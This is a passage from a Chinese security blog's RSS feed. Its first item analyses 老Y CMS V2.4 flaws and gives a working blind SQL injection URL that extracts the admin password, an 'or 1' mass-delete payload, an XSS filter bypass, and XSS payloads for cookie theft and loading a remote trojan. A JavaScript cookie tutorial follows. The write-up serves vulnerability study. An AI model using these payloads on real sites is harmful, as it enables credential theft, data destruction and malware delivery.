&nbsp;&nbsp;&nbsp;&nbsp; 注意：版本2.3和2.4后台认证方式的差异：前者管理员密码使用16位的MD5码，登陆认证使用Session；后者管理员密码使用截取的18位MD5码（adminpwd=Mid(md5(adminpwd,32),4,18)），登陆认证使用Cookie。令人费解的变化：2.3版本虽然Session无法伪造，但是16位的MD5码可以在线或爆破，2.4版本改为截取的18位MD5码后虽然不能破解（除非自己编写爆破工具），但是却可以进行Cookie欺骗！这比破解MD5码更方便。 <br />
&nbsp;&nbsp;&nbsp; 漏洞二：User/UserAdd.asp页面漏洞。由于在User/UserAdd.asp页面中，edit()、saveedit()模块使用CheckStr()函数过滤数字型变量ID，导致可以手工注入获得管理员密码，del()、delAll()模块未过滤变量ID，导致用户可以任意删除文章。此<a class="channel_keylink" href="http://www.7747.net/" target="_blank">漏洞</a>需要登陆用户后才能利用。 <br />
edit()模块漏洞利用： <br />
&nbsp;&nbsp;&nbsp; 修改任意文章。从代码不难看出，如果令id为&ldquo;168 OR 1&rdquo;确保Sql语句返回非空集，便会打开id为168的文章编辑界面，而且saveedit()模块同样存在此漏洞，导致我们可以修改任意文章。需要注意的是经过编辑后的文章将变为未审。当然如果仅仅可以修改任意文章的话，此漏洞的利用价值就不是很高，所以让我们继续发掘吧。 <br />
&nbsp;&nbsp;&nbsp; 注入管理员密码。通过前面介绍，我们知道2.3版本没有过滤逗号，因此构造union语句相对比较容易，而2.4版本过滤了逗号，利用需要一些技巧，所以这里分别进行介绍。 <br />
绕过逗号，另类的手工注入。CheckStr()函数过滤了逗号，所以不能使用多参数的函数，比如字符串截取函数mid()，也不能使用union语句，因为union 语句必须保证字段数一致，还不能使用&ldquo;&lt;&rdquo;、&ldquo;&gt;&rdquo;、&ldquo;=&rdquo;等符号，这给我们手工注入提出了挑战。于是考虑到使用select的like语句，基本语法如下： <br />
Code:<br />
Select * from yao_admin where admin_pass like '1*' <br />
Select * from yao_admin where admin_pass like '1?????????????????' <br />
//因为admin_pass长度为18，所以使用&ldquo;1&rdquo;和17个&ldquo;?&rdquo;进行匹配，如果密码第一个字符为&ldquo;1&rdquo;则Select语句有返回，否则无返回。这与IIF函数有异曲同工之效。<br />
因为CheckStr()函数过滤了单、双引号，所以引入子查询，得到衍生语句： <br />
Code:<br />
select top 1 * from yao_admin where admin_pass like (Select chr(49)+chr(42) from yao_admin) <br />
// chr(49)为数字1，chr(42)为字符&ldquo;*&rdquo;，chr(63)为字符&ldquo;?&rdquo;<br />
&nbsp;&nbsp;&nbsp;&nbsp; 修改&ldquo;*&rdquo;为一个自己添加的文章ID，比如185，可以先&ldquo;发表新文章&rdquo;获得该文章的ID。现给出利用的URL，如下： <br />
Code:<br />
<a href="http://127.0.0.1/laoy/User/UserAdd.asp?action=edit&amp;id=(Select%09top%091%09185%09From%09yao_admin%09Where%09admin_pass%09Like%09(Select%09chr(49)%2Bchr(37">http://127.0.0.1/laoy/User/UserAdd.asp?action=edit&amp;id=(Select%09top%091%09185%09From%09yao_admin%09Where%09admin_pass%09Like%09(Select%09chr(49)%2Bchr(37</a>) %09From%09yao_admin)) <br />
//在ACCESS的查询界面中的通配符&ldquo;*&rdquo;、&ldquo;?&rdquo;如果用在用 ADO 来执行的JET SQL语句中应该为&ldquo;%&rdquo;、&ldquo;_&rdquo;，chr(37)为字符&ldquo;%&rdquo;<br />
&nbsp;&nbsp;&nbsp;&nbsp; 这里请注意：在ACCESS的查询界面中的通配符&ldquo;*&rdquo;、&ldquo;?&rdquo;等，如果用在用 ADO 来执行的JET SQL语句中应该为&ldquo;%&rdquo;、&ldquo;_&rdquo;等，即ANSI SQL 通配符 &ldquo;%&rdquo;和&ldquo;_&rdquo; 仅在 Microsoft Jet 4.X 版本和 Microsoft OLE DB Provider for Jet 中才是有效的，如果用在 Microsoft Access 或 DAO 中，那么它们被视为文本。所以在给出利用的URL中，将衍生语句中的chr(42) 即&ldquo;*&rdquo; 替换为chr(37)即&ldquo;%&rdquo;。 <br />
访问URL后，提示&ldquo;这样搞是不好的!&rdquo;，如图8，说明admin_pass密码第1位字符不是chr(49)即数字&ldquo;1&rdquo;，于是修改为chr(50)~chr(57)、chr(65)~chr(70)，即对应数字2~9、字母A~F（like语句不区分大小写），如果正常打开ID为185的文章编辑界面时，如图9，即可确定出admin_pass密码第1位字符，然后依次猜解第2、3&hellip;&hellip;18位上的字符。 <br />
&nbsp;&nbsp;&nbsp; del()模块漏洞利用。id变量未作任何过滤，如果令id为&ldquo;1 or 1&rdquo;将导致网站中的所有文章将被全部删除！危害应该是十分严重的。 <br />
这里请大家注意本文中&ldquo;or 1&rdquo;这种用法，不同于我们熟悉的&ldquo;or 1=1&rdquo;，因为老Y的CheckStr()函数过滤了&ldquo;&lt;&rdquo;、&ldquo;&gt;&rdquo;、&ldquo;=&rdquo;符号，所以我们利用&ldquo;数字1和0 可以表示逻辑true和false&rdquo;的特性，构造Sql语句。 <br />
&nbsp;&nbsp;&nbsp; 漏洞三、评论跨站。老Y在输出memContent即评论的内容时使用ChkBadWords()、GlHtml()函数过滤了其中的Html标签及单、双引号等，因此不能跨站，但是我们可以利用没有过滤的memAuthor完成跨站目的。在浏览文章的页面的下方，&ldquo;大名&rdquo;（即memAuthor）却是单行输入栏且不能修改，我们必须修改提交页面如下，注意将Author输入栏改为textarea元素，允许输入多行（即可以插入换行符），其中form的action值、ArticleID值请根据实际修改，&ldquo; &rdquo;为换行符。 <br />
&nbsp;&nbsp;&nbsp; LoseHtml()函数代码如下： <br />
Code:<br />
&nbsp;</p>
<div class="codes">
<pre class="vb" name="code">
Function LoseHtml(ContentStr) 
Dim ClsTempLoseStr,regEx 
         ClsTempLoseStr = Cstr(ContentStr) 
                 Set regEx = New RegExp 
       regEx.Pattern = &quot;(\&lt;.+?\&gt;)&quot; 
       regEx.IgnoreCase = True 
       regEx.Global = True 
       ClsTempLoseStr = regEx.Replace(ClsTempLoseStr,&quot;&quot;) 
//此段含义为：替换&ldquo;&lt;&rdquo;和&ldquo;&gt;&rdquo;及之间的所有字符为空 
         RegEx.Pattern = &quot;(&amp;.+?;)&quot; 
         ClsTempLoseStr = RegEx.Replace(ClsTempLoseStr, &quot;&quot;) 
         ClsTempLoseStr = Replace(ClsTempLoseStr,VbCrlf,&quot;&quot;) 
         ClsTempLoseStr = Replace(ClsTempLoseStr,VbCr,&quot;&quot;) 
         ClsTempLoseStr = Replace(ClsTempLoseStr,VbLf,&quot;&quot;) 
//这三句表示将回车符、换行符替换为空 
         &hellip;&hellip;（略）//过滤单、双引号、空格等 
LoseHtml = ClsTempLoseStr 
End function</pre>
<p>我们重点看正则表达式&ldquo;(\&lt;.+?\&gt;)&rdquo;中的&ldquo;.&rdquo;，其含义为&ldquo;匹配除换行符以外的任意字符&rdquo;，请注意其中的&ldquo;除换行符以外&rdquo;，继续向下看语句&ldquo;ClsTempLoseStr = Replace(ClsTempLoseStr,VbCrlf,&quot;&quot;)&rdquo;，其中&ldquo;VbCrlf&rdquo;表示&ldquo;回车换行&rdquo;，所以接下来的三条语句是将回车换行符、回车符、换行符替换为空！于是我们就可以在Html语句的标签中插入&ldquo;换行符&rdquo;饶过正则表达式的过滤，接下来的语句又会将&ldquo;换行符&rdquo;过滤掉还原为正确的标签。 <br />
&nbsp;&nbsp;&nbsp;&nbsp; 因为首页显示最新的评论，所以首页同时受到影响，可见这是个非常严重的漏洞，无须登陆便可完成像页面跳转、关闭、获取Cookie、网页挂马、传播蠕虫病毒等跨站攻击，此处给出部分跨站脚本如下： <br />
Code:<br />
&nbsp;</p>
<div class="codes">
<pre class="xml" name="code">
//页面跳转 
   &lt;script&gt;window.location.href(&quot;http://www.baidu.com&quot;);&lt;/script&gt; 
//页面关闭 
   &lt;script&gt;opener=null;window.close();&lt;/script&gt; 
//获取Cookie 
   &lt;iframe src=获取Cookie的URL+?escape(document.cookie) width=0 height=0&gt;&lt;/iframe&gt; 
//网页挂马 
   &lt;script language=javascript src=xxx.js&gt;&lt;/script&gt; 
   &lt;script language=JScript.Encode src=http://www.upx.com.cn/muma.txt&gt;&lt;/script&gt; 
//其他跨站脚本 
   &lt;img src=&quot;#&quot; width=0 onerror=alert(&quot;XSS&quot;)&gt; 
   &lt;img src=javascript:alert(&quot;XSS&quot;) width=0&gt; 
   &lt;img src=javascript:alert(/跨站/) width=0&gt; 
&lt;style&gt;@import url(javascript:alert(&quot;XSS&quot;));&lt;/style&gt; 
&lt;style&gt;body {xss:expression(alert(&quot;XSS&quot;))}&lt;/style&gt; 
&lt;div style=&quot;xss:expression(alert('XSS'))&quot;&gt;&lt;/div&gt;</pre>
等等，跨站脚本实在灵活，令人防不胜防！<br />
&nbsp;&nbsp;&nbsp; 漏洞四：文章跨站。User/UserAdd.asp文件中savenew()、saveedit()等模块使用LoseHtml()函数过滤文章标题Title、文章作者Author、核心提示Artdescription（取自Content的前250个字符）等文本，文章内容Content虽然没有做过滤，但是输出时使用FilterJS()函数过滤其中的JS脚本，而且普通用户添加是未审文章，是不会对其他用户产生影响的，所以该漏洞主要作用于管理员，比如获取Cookie、审核文章等。我们可以利用Title、Author、Artdescription等完成跨站，但是为了使影响更广泛，本文利用Title进行跨站。详细方法参考文章。 <br />
&nbsp;&nbsp;&nbsp;&nbsp; 通过<a href="http://127.0.0.1/laoy/inc/laoylrc.asp?u=http://www.baidu.com">http://127.0.0.1/laoy/inc/laoylrc.asp?u=http://www.baidu.com</a>&rdquo;可以绕过防盗链限制。 <br />
&nbsp;&nbsp;&nbsp;&nbsp; 因为LoseHtml()函数过滤了单双引号，必要时会使用String.fromCharCode函数，这需要将字符串转换为Unicode字符，笔者又没有找到现成的工具，所以给出自己编写的完成转换和还原的代码如下：</div>
</div>
<p>&nbsp;</p>
<div class="codes">
<pre class="xml" name="code">
script language=&quot;javascript&quot;&gt; 
function getCharCode(n){ 
var str0,str; 
if (n==1){ 
     str0=document.getElementById(&quot;StrOrChar&quot;).value; 
   str=str0.charCodeAt(0); 
   var i=0; 
   for (i=1;i&lt;=str0.length-1;i++) {str=str+&quot;,&quot;+str0.charCodeAt(i);} 
} 
else 
{str0=&quot;&amp;#&quot;+document.getElementById(&quot;StrOrChar&quot;).value; 
   var regS = new RegExp(&quot;,&quot;,&quot;gi&quot;); 
   str=str0.replace(regS,&quot;;&amp;#&quot;); 
} 
document.getElementById(&quot;StrOrChar&quot;).innerHTML=str; 
} 
&lt;/script&gt; 
&lt;p align=&quot;center&quot;&gt;Html代码与fromCharCode函数调用的Unicode串转换 
&lt;textarea id=&quot;StrOrChar&quot; rows=&quot;6&quot; cols=&quot;100&quot;&gt;&lt;iframe src=http://www.hao123.com width=0 height=0&gt;&lt;/iframe&gt;&lt;/textarea&gt;&lt;br&gt; 
&lt;input type=&quot;button&quot; name=&quot;Submit&quot; value=&quot;转 换&quot; onclick=&quot;getCharCode(1);&quot;&gt; 
&lt;input type=&quot;button&quot; name=&quot;Submit&quot; value=&quot;还 原&quot; onclick=&quot;getCharCode(2);&quot;&gt;&lt;br&gt; 
&lt;/p&gt; </pre>
</div>
<p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/laoY-2.4.html" target="_blank">继续阅读《老Y文章管理系统V2.4最新漏洞分析》的全文内容...</a></p><p>分类: <a href="http://www.abcxd.com/abcxd/abcxdArticle/ASPoday.html">(C:)ASP程序漏洞</a> | Tags: <a href="http://www.abcxd.com/abcxd/catalog.asp?tags=CheckStr%E5%87%BD%E6%95%B0">CheckStr函数</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=LoseHtml%E5%87%BD%E6%95%B0">LoseHtml函数</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E7%BB%95%E8%BF%87%E9%80%97%E5%8F%B7">绕过逗号</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E9%80%9A%E9%85%8D%E7%AC%A6">通配符</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E6%8D%A2%E8%A1%8C%E7%AC%A6">换行符</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E5%8F%A6%E7%B1%BB%E6%89%8B%E5%B7%A5%E6%B3%A8%E5%85%A5">另类手工注入</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E8%B7%A8%E7%AB%99">跨站</a>&nbsp;&nbsp; | <a href="http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/laoY-2.4.html#comment" target="_blank">添加评论</a>(0)</p><p><a href="http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/laoY-2.4.html#comment" target="_blank">还没有相关文章，您来说两句？</a></p>]]></description><category>(C:)ASP程序漏洞</category><comments>http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/laoY-2.4.html#comment</comments><wfw:comment>http://www.abcxd.com/abcxd/</wfw:comment><wfw:commentRss>http://www.abcxd.com/abcxd/feed.asp?cmt=291</wfw:commentRss><trackback:ping>http://www.abcxd.com/abcxd/cmd.asp?act=tb&amp;id=291&amp;key=dff75fd2</trackback:ping></item><item><title>[原创]心动吧数据库防下载小工具</title><author>a@b.com (kissjetg)</author><link>http://www.abcxd.com/abcxd/abcxdArticle/hostoday/abcxd-mdb-down.html</link><pubDate>Sun, 06 Sep 2009 13:11:09 +0800</pubDate><guid>http://www.abcxd.com/abcxd/abcxdArticle/hostoday/abcxd-mdb-down.html</guid><description><![CDATA[<p><span style="color: #ff0000">作者：心动吧明生KISS</span></p>
<p>转载请注明：<a href="http://www.abcxd.com/">http://www.abcxd.com/</a></p>
<p>&nbsp;&nbsp;&nbsp; 这一个文章和我以前发布的一个文章正好成了一个对比（<a href="http://www.abcxd.com/abcxd/abcxdArticle/hostoday/zhixuyaoyijujiketupofangxiazaishujuku.html">文章连接</a>），如果上一次是茅。那么此次这个就是盾了.为什么这样说？请看一下上一篇的文章。因为上一次是直接修改数据库的防下载表而不会造成数据沉淀在数据库里面。那么换一个思想来讲。假设在数据库当中并没有这一个防下载表。但是却有防下载功能。</p>
<p>这样是不是就能防止别人利用&nbsp; update nodownload set notdown=''&nbsp; SQL语句来删除防下载的功能呢？？思路有了。现在我们就手工操作一下看看。先建立一个表,表名为：abcxd。然后随便在表里面建一个名为abcxda的字段,然后在字段里面加上一个些内容如:abcxd.com&nbsp;最后将表删除...&nbsp;&nbsp; 此时将整个数据库关闭掉。然后以记事本的方式打开数据库。</p>
<p>搜索一下：abcxd.com</p>
<p>此时有没有发现他还在数据库里面。原因我解释得不好。还是你自己去网上查查吧！！</p>
<p>说到这里聪明的你应该明白原理是什么了吧。为了方便大众。我自己写了一个小工具。</p>
<p>例图：</p>
<p><img title="" alt="" onload="ResizeImage(this,520)" src="http://www.abcxd.com/abcxd/upload/QQ截图未命名.gif" /></p>
<p>下载地址：<a target="_blank" href="http://www.abcxd.com/abcxd/upload/心动吧数据库防下载.rar">心动吧数据库防下载.rar</a></p>
<p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/abcxd/abcxdArticle/hostoday/abcxd-mdb-down.html" target="_blank">继续阅读《[原创]心动吧数据库防下载小工具》的全文内容...</a></p><p>分类: <a href="http://www.abcxd.com/abcxd/abcxdArticle/hostoday.html">(A:)本站原创</a> | Tags: <a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E5%BF%83%E5%8A%A8%E5%90%A7%E6%95%B0%E6%8D%AE%E5%BA%93%E9%98%B2%E4%B8%8B%E8%BD%BD%E5%B0%8F%E5%B7%A5%E5%85%B7">心动吧数据库防下载小工具</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E6%95%B0%E6%8D%AE%E5%BA%93%E9%98%B2%E4%B8%8B%E8%BD%BD">数据库防下载</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E5%8E%9F%E5%88%9B">原创</a>&nbsp;&nbsp; | <a href="http://www.abcxd.com/abcxd/abcxdArticle/hostoday/abcxd-mdb-down.html#comment" target="_blank">添加评论</a>(2)</p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/hostoday/tianjiaduogequanquan.html" title="[原创]QQ相册中如何在一个相片添加多个圈圈">[原创]QQ相册中如何在一个相片添加多个圈圈</a>&nbsp;&nbsp;(2009-4-13 3:42:7)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/hackeer/wangzhanxitongtanceqi.html" title="[原创]网站系统探测器">[原创]网站系统探测器</a>&nbsp;&nbsp;(2009-1-3 18:47:21)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/dongbaaspzaixian.html" title="[原创]2009-1-18发布新版◆心动吧asp在线◆">[原创]2009-1-18发布新版◆心动吧asp在线◆</a>&nbsp;&nbsp;(2008-12-30 6:21:42)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/hostoday/xindongbaquannengpangzhugongju.html" title="[原创]心动吧全能旁注工具1v0版.正式发布">[原创]心动吧全能旁注工具1v0版.正式发布</a>&nbsp;&nbsp;(2008-12-30 3:29:13)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/hostoday/rootkitleixingshadushoufa.html" title="[原创]rootkit类型杀毒手法.个人研究">[原创]rootkit类型杀毒手法.个人研究</a>&nbsp;&nbsp;(2008-12-30 3:27:36)</p></ul>]]></description><category>(A:)本站原创</category><comments>http://www.abcxd.com/abcxd/abcxdArticle/hostoday/abcxd-mdb-down.html#comment</comments><wfw:comment>http://www.abcxd.com/abcxd/</wfw:comment><wfw:commentRss>http://www.abcxd.com/abcxd/feed.asp?cmt=290</wfw:commentRss><trackback:ping>http://www.abcxd.com/abcxd/cmd.asp?act=tb&amp;id=290&amp;key=f5d8f590</trackback:ping></item><item><title>JavaScript使用cookie,参数设置,说明;读取,写入,删除函数</title><author>a@b.com (kissjetg)</author><link>http://www.abcxd.com/abcxd/abcxdArticle/Javascript/javascript-cookie.html</link><pubDate>Sun, 06 Sep 2009 02:04:38 +0800</pubDate><guid>http://www.abcxd.com/abcxd/abcxdArticle/Javascript/javascript-cookie.html</guid><description><![CDATA[<p><span style="color: #ff0000">明生注：一篇网上转的文章挺不错！看看无访</span></p>
<p><span style="color: #ff0000"><strong><font color="#000000" size="4">cookie概述</font></strong></span></p>
<p><span style="font-size: medium"><font size="2">在上一节，曾经利用一个不变的框架来存储购物栏数据，而商品显示页面是不断变化的，尽管这样能达到一个模拟全局变量的功能，但并不严谨。例如在导航框架页面内右击，单击快捷菜单中的【刷新】命令，则所有的JavaScript变量都会丢失。因此，要实现严格的跨页面全局变量，这种方式是不行的，JavaScript中的另一个机制：cookie，则可以达到真正全局变量的要求。<br />
cookie是浏览器提供的一种机制，它将document对象的cookie属性提供给JavaScript。可以由JavaScript对其进行控制，而并不是JavaScript本身的性质。cookie是存于用户硬盘的一个文件，这个文件通常对应于一个域名，当浏览器再次访问这个域名时，便使这个cookie可用。因此，cookie可以跨越一个域名下的多个网页，但不能跨越多个域名使用。<br />
不同的浏览器对cookie的实现也不一样，但其性质是相同的。例如在Windows 2000以及Windows xp中，cookie文件存储于documents and settings\userName\cookie\文件夹下。通常的命名格式为：userName@domain.txt。<br />
cookie机制将信息存储于用户硬盘，因此可以作为全局变量，这是它最大的一个优点。它可以用于以下几种场合。<br />
?&nbsp;保存用户登录状态。例如将用户id存储于一个cookie内，这样当用户下次访问该页面时就不需要重新登录了，现在很多论坛和社区都提供这样的功能。cookie还可以设置过期时间，当超过时间期限后，cookie就会自动消失。因此，系统往往可以提示用户保持登录状态的时间：常见选项有一个月、三个月、一年等。<br />
?&nbsp;跟踪用户行为。例如一个天气预报网站，能够根据用户选择的地区显示当地的天气情况。如果每次都需要选择所在地是烦琐的，当利用了cookie后就会显得很人性化了，系统能够记住上一次访问的地区，当下次再打开该页面时，它就会自动显示上次用户所在地区的天气情况。因为一切都是在后台完成，所以这样的页面就像为某个用户所定制的一样，使用起来非常方便。<br />
?&nbsp;定制页面。如果网站提供了换肤或更换布局的功能，那么可以使用cookie来记录用户的选项，例如：背景色、分辨率等。当用户下次访问时，仍然可以保存上一次访问的界面风格。<br />
?&nbsp;创建购物车。正如在前面的例子中使用cookie来记录用户需要购买的商品一样，在结账的时候可以统一提交。例如淘宝网就使用cookie记录了用户曾经浏览过的商品，方便随时进行比较。<br />
当然，上述应用仅仅是cookie能完成的部分应用，还有更多的功能需要全局变量。cookie的缺点主要集中于安全性和隐私保护。主要包括以下几种：<br />
?&nbsp;cookie可能被禁用。当用户非常注重个人隐私保护时，他很可能禁用浏览器的cookie功能；<br />
?&nbsp;cookie是与浏览器相关的。这意味着即使访问的是同一个页面，不同浏览器之间所保存的cookie也是不能互相访问的；<br />
?&nbsp;cookie可能被删除。因为每个cookie都是硬盘上的一个文件，因此很有可能被用户删除；<br />
?&nbsp;cookie安全性不够高。所有的cookie都是以纯文本的形式记录于文件中，因此如果要保存用户名密码等信息时，最好事先经过加密处理。</font></span></p>
<p><font size="2"><strong><font size="4">设置cookie<br />
</font></strong>每个cookie都是一个名/值对，可以把下面这样一个字符串赋值给document.cookie：<br />
document.cookie=&quot;userId=828&quot;;<br />
如果要一次存储多个名/值对，可以使用分号加空格（; ）隔开，例如：<br />
document.cookie=&quot;userId=828; userName=hulk&quot;;<br />
在cookie的名或值中不能使用分号（;）、逗号（,）、等号（=）以及空格。在cookie的名中做到这点很容易，但要保存的值是不确定的。如何来存储这些值呢？方法是用escape()函数进行编码，它能将一些特殊符号使用十六进制表示，例如空格将会编码为&ldquo;20%&rdquo;，从而可以存储于cookie值中，而且使用此种方案还可以避免中文乱码的出现。例如：<br />
document.cookie=&quot;str=&quot;+escape(&quot;I love ajax&quot;);<br />
相当于：<br />
document.cookie=&quot;str=I%20love%20ajax&quot;;<br />
当使用escape()编码后，在取出值以后需要使用unescape()进行解码才能得到原来的cookie值，这在前面已经介绍过。<br />
尽管document.cookie看上去就像一个属性，可以赋不同的值。但它和一般的属性不一样，改变它的赋值并不意味着丢失原来的值，例如连续执行下面两条语句：<br />
document.cookie=&quot;userId=828&quot;;<br />
document.cookie=&quot;userName=hulk&quot;;<br />
这时浏览器将维护两个cookie，分别是userId和userName，因此给document.cookie赋值更像执行类似这样的语句：<br />
document.addcookie(&quot;userId=828&quot;);<br />
document.addcookie(&quot;userName=hulk&quot;);<br />
事实上，浏览器就是按照这样的方式来设置cookie的，如果要改变一个cookie的值，只需重新赋值，例如：<br />
document.cookie=&quot;userId=929&quot;;<br />
这样就将名为userId的cookie值设置为了929。</font></p>
<p><font size="2"><strong><font size="4">获取cookie的值<br />
</font></strong>下面介绍如何获取cookie的值。cookie的值可以由document.cookie直接获得：<br />
var strcookie=document.cookie;<br />
这将获得以分号隔开的多个名/值对所组成的字符串，这些名/值对包括了该域名下的所有cookie。例如：<br />
</font></p>
<p>&nbsp;</p>
<pre class="xml" name="code">
&lt;script language=&quot;JavaScript&quot; type=&quot;text/JavaScript&quot;&gt;
&lt;!--
document.cookie=&quot;userId=828&quot;;
document.cookie=&quot;userName=hulk&quot;;
var strcookie=document.cookie;
alert(strcookie);
//--&gt;
&lt;/script&gt;</pre>
<div class="codes">
<p>&nbsp;</p>
<p><font size="2">图7.1显示了输出的cookie值。由此可见，只能够一次获取所有的cookie值，而不能指定cookie名称来获得指定的值，这正是处理cookie值最麻烦的一部分。用户必须自己分析这个字符串，来获取指定的cookie值，例如，要获取userId的值，可以这样实现：</font></p>
<pre class="xml" name="code">
&lt;script language=&quot;JavaScript&quot; type=&quot;text/JavaScript&quot;&gt;
&lt;!--
//设置两个cookie
document.cookie=&quot;userId=828&quot;;
document.cookie=&quot;userName=hulk&quot;;
//获取cookie字符串
var strcookie=document.cookie;
//将多cookie切割为多个名/值对
var arrcookie=strcookie.split(&quot;; &quot;);
var userId;
//遍历cookie数组，处理每个cookie对
for(var i=0;i&lt;arrcookie.length;i++){
      var arr=arrcookie[i].split(&quot;=&quot;);
      //找到名称为userId的cookie，并返回它的值
      if(&quot;userId&quot;==arr[0]){
             userId=arr[1];
             break;
      }
}
alert(userId);
//--&gt;
&lt;/script&gt;
</pre>
<span style="font-size: x-small">这样就得到了单个cookie的值
<p><font size="2">用类似的方法，可以获取一个或多个cookie的值，其主要的技巧仍然是字符串和数组的相关操作。</font></p>
</span>
<p><strong><span style="font-size: medium"><font size="3">给cookie设置终止日期<br />
</font></span></strong>到现在为止，所有的cookie都是单会话cookie，即浏览器关闭后这些cookie将会丢失，事实上这些cookie仅仅是存储在内存中，而没有建立相应的硬盘文件。<br />
在实际开发中，cookie常常需要长期保存，例如保存用户登录的状态。这可以用下面的选项来实现：<br />
document.cookie=&quot;userId=828; expires=GMT_String&quot;;<br />
其中GMT_String是以GMT格式表示的时间字符串，这条语句就是将userId这个cookie设置为GMT_String表示的过期时间，超过这个时间，cookie将消失，不可访问。例如：如果要将cookie设置为10天后过期，可以这样实现：<br />
&nbsp;</p>
<div class="codes">
<pre class="xml" name="code">
&lt;script language=&quot;JavaScript&quot; type=&quot;text/JavaScript&quot;&gt;
&lt;!--
//获取当前时间
var date=new Date();
var expireDays=10;
//将date设置为10天以后的时间
date.setTime(date.getTime()+expireDays*24*3600*1000);
//将userId和userName两个cookie设置为10天后过期
document.cookie=&quot;userId=828; userName=hulk; expire=&quot;+date.toGMTString();
//--&gt;
&lt;/script&gt; 
</pre>
<p><span style="font-size: x-small"><span><font size="3"><font size="4"><strong>删除cookie<br />
</strong></font></font><font size="2">为了删除一个cookie，可以将其过期时间设定为一个过去的时间，例如：</font></span></span></p>
<div class="codes">
<pre class="xml" name="code">
&lt;script language=&quot;JavaScript&quot; type=&quot;text/JavaScript&quot;&gt;
&lt;!--
//获取当前时间
var date=new Date();
//将date设置为过去的时间
date.setTime(date.getTime()-10000);
//将userId这个cookie删除
document.cookie=&quot;userId=828; expire=&quot;+date.toGMTString();
//--&gt;
&lt;/script&gt; 
</pre>
<span style="font-size: x-small">
<p><font size="2"><strong><font size="4">指定可访问cookie的路径<br />
</font></strong>默认情况下，如果在某个页面创建了一个cookie，那么该页面所在目录中的其他页面也可以访问该cookie。如果这个目录下还有子目录，则在子目录中也可以访问。例如在<font size="2">www.xxxx.com/html/a.html</font><font size="2">中所创建的cookie，可以被</font><font size="2">www.xxxx.com/html/b.html</font><font size="2">或</font><font size="2">www.xxx.com/</font><font size="2"> html/ some/c.html所访问，但不能被</font><font size="2">www.xxxx.com/d.html</font><font size="2">访问。<br />
为了控制cookie可以访问的目录，需要使用path参数设置cookie，语法如下：<br />
document.cookie=&quot;name=value; path=cookieDir&quot;;<br />
其中cookieDir表示可访问cookie的目录。例如：<br />
document.cookie=&quot;userId=320; path=/shop&quot;;<br />
就表示当前cookie仅能在shop目录下使用。<br />
如果要使cookie在整个网站下可用，可以将cookie_dir指定为根目录，例如：<br />
document.cookie=&quot;userId=320; path=/&quot;;<br />
</font></font></p>
<p><font size="2"><font size="2"><strong><font size="4">指定可访问cookie的主机名<br />
</font></strong>和路径类似，主机名是指同一个域下的不同主机，例如：<a href="http://www.google.com/"><font size="2">www.google.com</font></a><font size="2">和gmail.google.com就是两个不同的主机名。默认情况下，一个主机中创建的cookie在另一个主机下是不能被访问的，但可以通过domain参数来实现对其的控制，其语法格式为：<br />
document.cookie=&quot;name=value; domain=cookieDomain&quot;;<br />
以google为例，要实现跨主机访问，可以写为：<br />
document.cookie=&quot;name=value;domain=.google.com&quot;;<br />
这样，所有google.com下的主机都可以访问该cookie。<br />
</font></font></font></p>
<p><strong><font size="4">综合示例：构造通用的cookie处理函数<br />
</font></strong><font size="2">cookie的处理过程比较复杂，并具有一定的相似性。因此可以定义几个函数来完成cookie的通用操作，从而实现代码的复用。下面列出了常用的cookie操作及其函数实现。<br />
1．添加一个cookie：addcookie(name,value,expireHours)<br />
该函数接收3个参数：cookie名称，cookie值，以及在多少小时后过期。这里约定expireHours为0时不设定过期时间，即当浏览器关闭时cookie自动消失。该函数实现如下：</font></p>
<div class="codes">
<pre class="xml" name="code">
script language=&quot;JavaScript&quot; type=&quot;text/JavaScript&quot;&gt;
&lt;!--
function addcookie(name,value,expireHours){
      var cookieString=name+&quot;=&quot;+escape(value);
      //判断是否设置过期时间
      if(expireHours&gt;0){
             var date=new Date();
             date.setTime(date.getTime+expireHours*3600*1000);
             cookieString=cookieString+&quot;; expire=&quot;+date.toGMTString();
      }
      document.cookie=cookieString;
}
//--&gt;
&lt;/script&gt;
</pre>
<p><span style="font-size: x-small">2．获取指定名称的cookie值：getcookie(name)<br />
该函数返回名称为name的cookie值，如果不存在则返回空，其实现如下：</span></p>
<div class="codes">
<pre class="xml" name="code">
&lt;script language=&quot;JavaScript&quot; type=&quot;text/JavaScript&quot;&gt;
&lt;!--
function getcookie(name){
      var strcookie=document.cookie;
      var arrcookie=strcookie.split(&quot;; &quot;);
      for(var i=0;i&lt;arrcookie.length;i++){
            var arr=arrcookie[i].split(&quot;=&quot;);
            if(arr[0]==name)return arr[1];
      }
      return &quot;&quot;;
}
//--&gt;
&lt;/script&gt;
</pre>
<span style="font-size: x-small">3．删除指定名称的cookie：deletecookie(name)<br />
该函数可以删除指定名称的cookie，其实现如下：</span></div>
</div>
</span></div>
</div>
</div>
<div class="codes">
<pre class="xml" name="code">
&lt;script language=&quot;JavaScript&quot; type=&quot;text/JavaScript&quot;&gt;
&lt;!--
function deletecookie(name){
       var date=new Date();
       date.setTime(date.getTime()-10000);
       document.cookie=name+&quot;=v; expire=&quot;+date.toGMTString();
}
//--&gt;
&lt;/script&gt;  </pre>
</div>
